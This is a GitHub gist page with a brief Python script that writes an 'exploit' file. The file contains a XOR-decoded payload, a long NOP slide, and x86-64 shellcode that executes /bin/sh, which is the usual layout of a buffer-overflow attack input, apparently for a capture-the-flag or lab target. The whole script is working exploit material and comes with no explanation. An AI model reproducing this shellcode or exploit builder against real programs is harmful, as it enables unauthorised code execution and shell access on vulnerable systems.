Skip to content

Instantly share code, notes, and snippets.

@chrysh
Created October 11, 2016 20:29
Show Gist options
  • Save chrysh/7811db4b237c14c863be449e4bba522d to your computer and use it in GitHub Desktop.
Save chrysh/7811db4b237c14c863be449e4bba522d to your computer and use it in GitHub Desktop.
import sys
import struct
buf = struct.pack ("72B",
0xb3,0x91,0x7f,0xdd,0x62,0x81,0x11,0x6a,0x90,0x8c,0xdb,
0xae,0x70,0xa7,0x3f,0xff,0x3a,0xc3,0xe6,0x32,0xff,0x5e,
0x46,0x63,0x9a,0x14,0xb7,0x9e,0xad,0xf6,0x09,0xdc,0x33,
0x2f,0x35,0xc6,0x6f,0x1a,0x7f,0xff,0x1b,0xc2,0xb5,0xb7,
0xb7,0xc2,0xd1,0x75,0xfa,0x10,0x0d,0xf8,0x50,0xc2,0xbe,
0x50,0x31,0x37,0x2f,0x68,0xfe,0x62,0x4a,0x39,0xd6,0xf3,
0x52,0x68,0x5a,0xa6,0xf3,0x00)
nopslide='\x90'*(7+124)
binsh="\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"
with open("shellcode", "r") as f:
code=f.read()
overwrite="".join([chr(ord(a)^ord(b)) for (a, b) in zip (code, buf)])
with open("exploit", "w") as f:
f.write(overwrite + nopslide + binsh)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment